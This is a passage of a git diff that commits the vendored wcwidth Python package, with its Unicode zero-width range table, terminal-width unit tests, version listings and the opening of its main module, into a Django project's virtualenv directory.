0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x01885, 0x01886,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a1b, 0x01a1b,), # Buginese Vowel Sign Ae ..Buginese Vowel Sign Ae + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01ab0, 0x01ac0,), # Combining Doubled Circum..(nil) + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bad,), # Sundanese Sign Virama ..Sundanese Consonant Sign + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01cf8, 0x01cf9,), # Vedic Tone Ring Above ..Vedic Tone Double Ring A + (0x01dc0, 0x01df9,), # Combining Dotted Grave A..Combining Wide Inverted + (0x01dfb, 0x01dff,), # Combining Deletion Mark ..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69e, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a82c, 0x0a82c,), # (nil) ..(nil) + (0x0a8c4, 0x0a8c5,), # Saurashtra Sign Virama ..Saurashtra Sign Candrabi + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a8ff, 0x0a8ff,), # Devanagari Vowel Sign Ay..Devanagari Vowel Sign Ay + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bd,), # Javanese Vowel Sign Pepe..Javanese Consonant Sign + (0x0a9e5, 0x0a9e5,), # Myanmar Sign Shan Saw ..Myanmar Sign Shan Saw + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa7c, 0x0aa7c,), # Myanmar Sign Tai Laing T..Myanmar Sign Tai Laing T + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe2f,), # Combining Ligature Left ..Combining Cyrillic Titlo + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x102e0, 0x102e0,), # Coptic Epact Thousands M..Coptic Epact Thousands M + (0x10376, 0x1037a,), # Combining Old Permic Let..Combining Old Permic Let + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x10ae5, 0x10ae6,), # Manichaean Abbreviation ..Manichaean Abbreviation + (0x10d24, 0x10d27,), # Hanifi Rohingya Sign Har..Hanifi Rohingya Sign Tas + (0x10eab, 0x10eac,), # (nil) ..(nil) + (0x10f46, 0x10f50,), # Sogdian Combining Dot Be..Sogdian Combining Stroke + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x1107f, 0x11081,), # Brahmi Number Joiner ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11173, 0x11173,), # Mahajani Sign Nukta ..Mahajani Sign Nukta + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x111c9, 0x111cc,), # Sharada Sandhi Mark ..Sharada Extra Short Vowe + (0x111cf, 0x111cf,), # (nil) ..(nil) + (0x1122f, 0x11231,), # Khojki Vowel Sign U ..Khojki Vowel Sign Ai + (0x11234, 0x11234,), # Khojki Sign Anusvara ..Khojki Sign Anusvara + (0x11236, 0x11237,), # Khojki Sign Nukta ..Khojki Sign Shadda + (0x1123e, 0x1123e,), # Khojki Sign Sukun ..Khojki Sign Sukun + (0x112df, 0x112df,), # Khudawadi Sign Anusvara ..Khudawadi Sign Anusvara + (0x112e3, 0x112ea,), # Khudawadi Vowel Sign U ..Khudawadi Sign Virama + (0x11300, 0x11301,), # Grantha Sign Combining A..Grantha Sign Candrabindu + (0x1133b, 0x1133c,), # Combining Bindu Below ..Grantha Sign Nukta + (0x11340, 0x11340,), # Grantha Vowel Sign Ii ..Grantha Vowel Sign Ii + (0x11366, 0x1136c,), # Combining Grantha Digit ..Combining Grantha Digit + (0x11370, 0x11374,), # Combining Grantha Letter..Combining Grantha Letter + (0x11438, 0x1143f,), # Newa Vowel Sign U ..Newa Vowel Sign Ai + (0x11442, 0x11444,), # Newa Sign Virama ..Newa Sign Anusvara + (0x11446, 0x11446,), # Newa Sign Nukta ..Newa Sign Nukta + (0x1145e, 0x1145e,), # Newa Sandhi Mark ..Newa Sandhi Mark + (0x114b3, 0x114b8,), # Tirhuta Vowel Sign U ..Tirhuta Vowel Sign Vocal + (0x114ba, 0x114ba,), # Tirhuta Vowel Sign Short..Tirhuta Vowel Sign Short + (0x114bf, 0x114c0,), # Tirhuta Sign Candrabindu..Tirhuta Sign Anusvara + (0x114c2, 0x114c3,), # Tirhuta Sign Virama ..Tirhuta Sign Nukta + (0x115b2, 0x115b5,), # Siddham Vowel Sign U ..Siddham Vowel Sign Vocal + (0x115bc, 0x115bd,), # Siddham Sign Candrabindu..Siddham Sign Anusvara + (0x115bf, 0x115c0,), # Siddham Sign Virama ..Siddham Sign Nukta + (0x115dc, 0x115dd,), # Siddham Vowel Sign Alter..Siddham Vowel Sign Alter + (0x11633, 0x1163a,), # Modi Vowel Sign U ..Modi Vowel Sign Ai + (0x1163d, 0x1163d,), # Modi Sign Anusvara ..Modi Sign Anusvara + (0x1163f, 0x11640,), # Modi Sign Virama ..Modi Sign Ardhacandra + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x1171d, 0x1171f,), # Ahom Consonant Sign Medi..Ahom Consonant Sign Medi + (0x11722, 0x11725,), # Ahom Vowel Sign I ..Ahom Vowel Sign Uu + (0x11727, 0x1172b,), # Ahom Vowel Sign Aw ..Ahom Sign Killer + (0x1182f, 0x11837,), # Dogra Vowel Sign U ..Dogra Sign Anusvara + (0x11839, 0x1183a,), # Dogra Sign Virama ..Dogra Sign Nukta + (0x1193b, 0x1193c,), # (nil) ..(nil) + (0x1193e, 0x1193e,), # (nil) ..(nil) + (0x11943, 0x11943,), # (nil) ..(nil) + (0x119d4, 0x119d7,), # Nandinagari Vowel Sign U..Nandinagari Vowel Sign V + (0x119da, 0x119db,), # Nandinagari Vowel Sign E..Nandinagari Vowel Sign A + (0x119e0, 0x119e0,), # Nandinagari Sign Virama ..Nandinagari Sign Virama + (0x11a01, 0x11a0a,), # Zanabazar Square Vowel S..Zanabazar Square Vowel L + (0x11a33, 0x11a38,), # Zanabazar Square Final C..Zanabazar Square Sign An + (0x11a3b, 0x11a3e,), # Zanabazar Square Cluster..Zanabazar Square Cluster + (0x11a47, 0x11a47,), # Zanabazar Square Subjoin..Zanabazar Square Subjoin + (0x11a51, 0x11a56,), # Soyombo Vowel Sign I ..Soyombo Vowel Sign Oe + (0x11a59, 0x11a5b,), # Soyombo Vowel Sign Vocal..Soyombo Vowel Length Mar + (0x11a8a, 0x11a96,), # Soyombo Final Consonant ..Soyombo Sign Anusvara + (0x11a98, 0x11a99,), # Soyombo Gemination Mark ..Soyombo Subjoiner + (0x11c30, 0x11c36,), # Bhaiksuki Vowel Sign I ..Bhaiksuki Vowel Sign Voc + (0x11c38, 0x11c3d,), # Bhaiksuki Vowel Sign E ..Bhaiksuki Sign Anusvara + (0x11c3f, 0x11c3f,), # Bhaiksuki Sign Virama ..Bhaiksuki Sign Virama + (0x11c92, 0x11ca7,), # Marchen Subjoined Letter..Marchen Subjoined Letter + (0x11caa, 0x11cb0,), # Marchen Subjoined Letter..Marchen Vowel Sign Aa + (0x11cb2, 0x11cb3,), # Marchen Vowel Sign U ..Marchen Vowel Sign E + (0x11cb5, 0x11cb6,), # Marchen Sign Anusvara ..Marchen Sign Candrabindu + (0x11d31, 0x11d36,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3a, 0x11d3a,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3c, 0x11d3d,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3f, 0x11d45,), # Masaram Gondi Vowel Sign..Masaram Gondi Virama + (0x11d47, 0x11d47,), # Masaram Gondi Ra-kara ..Masaram Gondi Ra-kara + (0x11d90, 0x11d91,), # Gunjala Gondi Vowel Sign..Gunjala Gondi Vowel Sign + (0x11d95, 0x11d95,), # Gunjala Gondi Sign Anusv..Gunjala Gondi Sign Anusv + (0x11d97, 0x11d97,), # Gunjala Gondi Virama ..Gunjala Gondi Virama + (0x11ef3, 0x11ef4,), # Makasar Vowel Sign I ..Makasar Vowel Sign U + (0x16af0, 0x16af4,), # Bassa Vah Combining High..Bassa Vah Combining High + (0x16b30, 0x16b36,), # Pahawh Hmong Mark Cim Tu..Pahawh Hmong Mark Cim Ta + (0x16f4f, 0x16f4f,), # Miao Sign Consonant Modi..Miao Sign Consonant Modi + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x16fe4, 0x16fe4,), # (nil) ..(nil) + (0x1bc9d, 0x1bc9e,), # Duployan Thick Letter Se..Duployan Double Mark + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0x1da00, 0x1da36,), # Signwriting Head Rim ..Signwriting Air Sucking + (0x1da3b, 0x1da6c,), # Signwriting Mouth Closed..Signwriting Excitement + (0x1da75, 0x1da75,), # Signwriting Upper Body T..Signwriting Upper Body T + (0x1da84, 0x1da84,), # Signwriting Location Hea..Signwriting Location Hea + (0x1da9b, 0x1da9f,), # Signwriting Fill Modifie..Signwriting Fill Modifie + (0x1daa1, 0x1daaf,), # Signwriting Rotation Mod..Signwriting Rotation Mod + (0x1e000, 0x1e006,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e008, 0x1e018,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e01b, 0x1e021,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e023, 0x1e024,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e026, 0x1e02a,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e130, 0x1e136,), # Nyiakeng Puachue Hmong T..Nyiakeng Puachue Hmong T + (0x1e2ec, 0x1e2ef,), # Wancho Tone Tup ..Wancho Tone Koini + (0x1e8d0, 0x1e8d6,), # Mende Kikakui Combining ..Mende Kikakui Combining + (0x1e944, 0x1e94a,), # Adlam Alif Lengthener ..Adlam Nukta + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), +} diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth/tests/__init__.py b/django_lottopy/lib/python3.10/site-packages/wcwidth/tests/__init__.py new file mode 100644 index 00000000..38130034 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth/tests/__init__.py @@ -0,0 +1 @@ +"""This file intentionally left blank.""" diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth/tests/test_core.py b/django_lottopy/lib/python3.10/site-packages/wcwidth/tests/test_core.py new file mode 100644 index 00000000..13e2505a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth/tests/test_core.py @@ -0,0 +1,138 @@ +# coding: utf-8 +"""Core tests module for wcwidth.""" +import wcwidth + + +def test_hello_jp(): + u""" + Width of Japanese phrase: コンニチハ, セカイ! + + Given a phrase of 5 and 3 Katakana ideographs, joined with + 3 English-ASCII punctuation characters, totaling 11, this + phrase consumes 19 cells of a terminal emulator. + """ + # given, + phrase = u'コンニチハ, セカイ!' + expect_length_each = (2, 2, 2, 2, 2, 1, 1, 2, 2, 2, 1) + expect_length_phrase = sum(expect_length_each) + + # exercise, + length_each = tuple(map(wcwidth.wcwidth, phrase)) + length_phrase = wcwidth.wcswidth(phrase) + + # verify, + assert length_each == expect_length_each + assert length_phrase == expect_length_phrase + + +def test_wcswidth_substr(): + """ + Test wcswidth() optional 2nd parameter, ``n``. + + ``n`` determines at which position of the string + to stop counting length. + """ + # given, + phrase = u'コンニチハ, セカイ!' + end = 7 + expect_length_each = (2, 2, 2, 2, 2, 1, 1,) + expect_length_phrase = sum(expect_length_each) + + # exercise, + length_phrase = wcwidth.wcswidth(phrase, end) + + # verify, + assert length_phrase == expect_length_phrase + + +def test_null_width_0(): + """NULL (0) reports width 0.""" + # given, + phrase = u'abc\x00def' + expect_length_each = (1, 1, 1, 0, 1, 1, 1) + expect_length_phrase = sum(expect_length_each) + + # exercise, + length_each = tuple(map(wcwidth.wcwidth, phrase)) + length_phrase = wcwidth.wcswidth(phrase, len(phrase)) + + # verify, + assert length_each == expect_length_each + assert length_phrase == expect_length_phrase + + +def test_control_c0_width_negative_1(): + """CSI (Control sequence initiate) reports width -1.""" + # given, + phrase = u'\x1b[0m' + expect_length_each = (-1, 1, 1, 1) + expect_length_phrase = -1 + + # exercise, + length_each = tuple(map(wcwidth.wcwidth, phrase)) + length_phrase = wcwidth.wcswidth(phrase, len(phrase)) + + # verify, + assert length_each == expect_length_each + assert length_phrase == expect_length_phrase + + +def test_combining_width_negative_1(): + """Simple test combining reports total width of 4.""" + # given, + phrase = u'--\u05bf--' + expect_length_each = (1, 1, 0, 1, 1) + expect_length_phrase = 4 + + # exercise, + length_each = tuple(map(wcwidth.wcwidth, phrase)) + length_phrase = wcwidth.wcswidth(phrase, len(phrase)) + + # verify, + assert length_each == expect_length_each + assert length_phrase == expect_length_phrase + + +def test_combining_cafe(): + u"""Phrase cafe + COMBINING ACUTE ACCENT is café of length 4.""" + phrase = u"cafe\u0301" + expect_length_each = (1, 1, 1, 1, 0) + expect_length_phrase = 4 + + # exercise, + length_each = tuple(map(wcwidth.wcwidth, phrase)) + length_phrase = wcwidth.wcswidth(phrase, len(phrase)) + + # verify, + assert length_each == expect_length_each + assert length_phrase == expect_length_phrase + + +def test_combining_enclosing(): + u"""CYRILLIC CAPITAL LETTER A + COMBINING CYRILLIC HUNDRED THOUSANDS SIGN is А҈ of length 1.""" + phrase = u"\u0410\u0488" + expect_length_each = (1, 0) + expect_length_phrase = 1 + + # exercise, + length_each = tuple(map(wcwidth.wcwidth, phrase)) + length_phrase = wcwidth.wcswidth(phrase, len(phrase)) + + # verify, + assert length_each == expect_length_each + assert length_phrase == expect_length_phrase + + +def test_combining_spacing(): + u"""Balinese kapal (ship) is ᬓᬨᬮ᭄ of length 4.""" + phrase = u"\u1B13\u1B28\u1B2E\u1B44" + expect_length_each = (1, 1, 1, 1) + expect_length_phrase = 4 + + # exercise, + length_each = tuple(map(wcwidth.wcwidth, phrase)) + length_phrase = wcwidth.wcswidth(phrase, len(phrase)) + + # verify, + assert length_each == expect_length_each + assert length_phrase == expect_length_phrase diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth/unicode_versions.py b/django_lottopy/lib/python3.10/site-packages/wcwidth/unicode_versions.py new file mode 100644 index 00000000..9bf51eab --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth/unicode_versions.py @@ -0,0 +1,35 @@ +""" +Exports function list_versions() for unicode version level support. + +This code generated by bin/update-tables.py on 2020-06-23 16:03:21.350604. +""" + + +def list_versions(): + """ + Return Unicode version levels supported by this module release. + + Any of the version strings returned may be used as keyword argument + ``unicode_version`` to the ``wcwidth()`` family of functions. + + :returns: Supported Unicode version numbers in ascending sorted order. + :rtype: list[str] + """ + return ( + "4.1.0", + "5.0.0", + "5.1.0", + "5.2.0", + "6.0.0", + "6.1.0", + "6.2.0", + "6.3.0", + "7.0.0", + "8.0.0", + "9.0.0", + "10.0.0", + "11.0.0", + "12.0.0", + "12.1.0", + "13.0.0", + ) diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth/version.json b/django_lottopy/lib/python3.10/site-packages/wcwidth/version.json new file mode 100644 index 00000000..59f1aa0e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth/version.json @@ -0,0 +1 @@ +{"tables": ["4.1.0", "5.0.0", "5.1.0", "5.2.0", "6.0.0", "6.1.0", "6.2.0", "6.3.0", "7.0.0", "8.0.0", "9.0.0", "10.0.0", "11.0.0", "12.0.0", "12.1.0", "13.0.0"], "package": "0.2.4", "default": "8.0.0"} diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth/wcwidth.py b/django_lottopy/lib/python3.10/site-packages/wcwidth/wcwidth.py new file mode 100644 index 00000000..931bd0b1 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth/wcwidth.py @@ -0,0 +1,375 @@ +""" +This is a python implementation of wcwidth() and wcswidth(). + +https://github.com/jquast/wcwidth + +from Markus Kuhn's C code, retrieved from: + + http://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c + +This is an implementation of wcwidth() and wcswidth() (defined in +IEEE Std 1002.1-2001) for Unicode. + +http://www.opengroup.org/onlinepubs/007904975/functions/wcwidth.html +http://www.opengroup.org/onlinepubs/007904975/functions/wcswidth.html + +In fixed-width output devices, Latin characters all occupy a single +"cell" position of equal width, whereas ideographic CJK characters +occupy two such cells. Interoperability between terminal-line +applications and (teletype-style) character terminals using the +UTF-8 encoding requires agreement on which character should advance +the cursor by how many cell positions. No established formal +standards exist at present on which Unicode character shall occupy +how many cell positions on character terminals. These routines are +a first attempt of defining such behavior based on simple rules +applied to data provided by the Unicode Consortium. + +For some graphical characters, the Unicode standard explicitly +defines a character-cell width via the definition of the East Asian +FullWidth (F), Wide (W), Half-width (H), and Narrow (Na) classes. +In all these cases, there is no ambiguity about which width a +terminal shall use. For characters in the East Asian Ambiguous (A) +class, the width choice depends purely on a preference of backward +compatibility with either historic CJK or Western practice. +Choosing single-width for these characters is easy to justify as +the appropriate long-term solution, as the CJK practice of +displaying these characters as double-width comes from historic +implementation simplicity (8-bit encoded characters were displayed +single-width and 16-bit ones double-width, even for Greek, +Cyrillic, etc.) and not any typographic considerations. + +Much less clear is the choice of width for the Not East Asian +(Neutral) class. Existing practice does not dictate a width for any +of these characters. It would nevertheless make sense +typographically to allocate two character cells to characters such +as for instance EM SPACE or VOLUME INTEGRAL, which cannot be +represented adequately with a single-width glyph. The following +routines at present merely assign a single-cell width to all +neutral characters, in the interest of simplicity. This is not +entirely satisfactory and should be reconsidered before +establishing a formal standard in this area. At the moment, the +decision which Not East Asian (Neutral) characters should be +represented by double-width glyphs cannot yet be answered by +applying a simple rule from the Unicode database content. Setting +up a proper standard for the behavior of UTF-8 character terminals +will require a careful analysis not only of each Unicode character, +but also of each presentation form, something the author of these +routines has avoided to do so far. + +http://www.unicode.org/unicode/reports/tr11/ + +Latest version: http://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c +""" +from __future__ import division + +# std imports +import os +import sys +import warnings + +# local +from .table_wide import WIDE_EASTASIAN +from .table_zero import ZERO_WIDTH +from .unicode_versions import list_versions + +try: + from functools import lru_cache +except ImportError: + # lru_cache was added in Python 3.2 + from backports.functools_lru_cache import lru_cache + +# global cache +_UNICODE_CMPTABLE = None +_PY3 = (sys.version_info[0] >= 3) + + +# NOTE: created by hand, there isn't anything identifiable other than +# general Cf category code to identify these, and some characters in Cf +# category code are of non-zero width. +# Also includes some Cc, Mn, Zl, and Zp characters +ZERO_WIDTH_CF = set([ + 0, # Null (Cc) + 0x034F, # Combining grapheme joiner (Mn) + 0x200B, # Zero width space + 0x200C, # Zero width non-joiner + 0x200D, # Zero width joiner + 0x200E, # Left-to-right mark + 0x200F, # Right-to-left mark + 0x2028, # Line separator (Zl) + 0x2029, # Paragraph separator (Zp) + 0x202A, # Left-to-right embedding + 0x202B, # Right-to-left embedding + 0x202C, # Pop directional formatting + 0x202D, # Left-to-right override + 0x202E, # Right-to-left override + 0x2060, # Word joiner + 0x2061, # Function application + 0x2062, # Invisible times + 0x2063, # Invisible separator +]) + + +def _bisearch(ucs, table): + """ + Auxiliary function for binary search in interval table. + + :arg int ucs: Ordinal value of unicode character. + :arg list table: List of starting and ending ranges of ordinal values, + in form of ``[(start, end), ...]``. + :rtype: int + :returns: 1 if ordinal value ucs is found within lookup table, else 0. + """ + lbound = 0 + ubound = len(table) - 1 + + if ucs < table[0][0] or ucs > table[ubound][1]: + return 0 + while ubound >= lbound: + mid = (lbound + ubound) // 2 + if ucs > table[mid][1]: + lbound = mid + 1 + elif ucs < table[mid][0]: + ubound = mid - 1 + else: + return 1 + + return 0 + + +@lru_cache(maxsize=1000) +def wcwidth(wc, unicode_version='auto'): + r""" + Given one Unicode character, return its printable length on a terminal. + + :param str wc: A single Unicode character. + :param str unicode_version: A Unicode version number, such as + ``'6.0.0'``, the list of available version levels may be + listed by pairing function :func:`list_versions`. + + Any version string may be specified without error -- the nearest + matching version is selected. When ``latest`` (default), the + highest Unicode version level is used. + :return: The width, in cells, necessary to display the character of + Unicode string character, ``wc``. Returns 0 if the ``wc`` argument has + no printable effect on a terminal (such as NUL '\0'), -1 if ``wc`` is + not printable, or has an indeterminate effect on the terminal, such as + a control character. Otherwise, the number of column positions the + character occupies on a graphic terminal (1 or 2) is returned. + :rtype: int + + The following have a column width of -1: + + - C0 control characters (U+001 through U+01F). + + - C1 control characters and DEL (U+07F through U+0A0). + + The following have a column width of 0: + + - Non-spacing and enclosing combining characters (general + category code Mn or Me in the Unicode database). + + - NULL (``U+0000``). + + - COMBINING GRAPHEME JOINER (``U+034F``). + + - ZERO WIDTH SPACE (``U+200B``) *through* + RIGHT-TO-LEFT MARK (``U+200F``). + + - LINE 